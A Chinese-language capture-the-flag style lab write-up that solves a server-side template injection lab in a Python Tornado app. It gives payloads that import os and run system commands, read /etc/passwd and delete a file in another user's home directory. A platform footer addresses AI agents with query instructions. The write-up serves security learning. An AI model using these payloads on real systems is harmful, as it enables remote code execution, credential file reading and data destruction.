> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/ssti/basic-ssti-in-a-python-code-context.md).

# Python 代码上下文中的基础 SSTI

### 基本的服务器端模板注入（代码上下文）

本实验存在一个漏洞 **服务器端模板注入（SSTI）** 由于不安全地使用了一个 **Tornado 模板**. / 目标是通过模板引擎运行任意代码，然后删除 `morale.txt` 位于 Carlos 个人目录中的文件。

提供了一个测试账户： **wiener:peter**.

#### **应用分析**

在定义用户在评论中希望如何显示的部分，可以修改传递的参数：

<figure><img src="/files/313a4dfabd0d8bfa1be07c15c5800f8561cd4eaa" alt="" width="563"><figcaption></figcaption></figure>

服务器返回的错误证实存在一个 **Python/Tornado** 引擎，这表明存在模板注入。

```bash
blog-post-author-display=user.JAAJAJAJ&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```

<figure><img src="/files/3602050f93c77c30ef639f8d07c24f8cdcc7cb2c" alt="" width="551"><figcaption></figcaption></figure>

<figure><img src="/files/4693e6e98b063e795ed4324d21b5525b7145aa9b" alt=""><figcaption></figcaption></figure>

#### **基础注入测试**

要检查模板是否被解释：

```python
{{7*7}}
}}{{7*7
```

渲染结果证实了注入：计算由模板引擎执行。

<figure><img src="/files/5bd7a7263161d6c830dcfd845d7a09553b47c7cc" alt=""><figcaption></figcaption></figure>

#### **命令执行**

Tornado 允许直接在模板中导入模块

```python
{{os.system('whoami')}}
{%import os%}{{os.system('whoami')}}
```

#### **读取文件 `/etc/passwd`**

适配到易受攻击参数的注入

{% code overflow="wrap" %}

```python
blog-post-author-display=user.name}}{%import os%}{{os.system('cat /etc/passwd')}&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```

{% endcode %}

<figure><img src="/files/12e1bb9c73d251c559d16432083d6d2821998cc7" alt=""><figcaption></figcaption></figure>

#### **已删除道德文件.txt**

用于验证实验的最终命令：

{% code overflow="wrap" %}

```bash
blog-post-author-display=user.name}}{%import os%}{{os.system('rm /home/carlos/morale.txt')}&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/ssti/basic-ssti-in-a-python-code-context.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
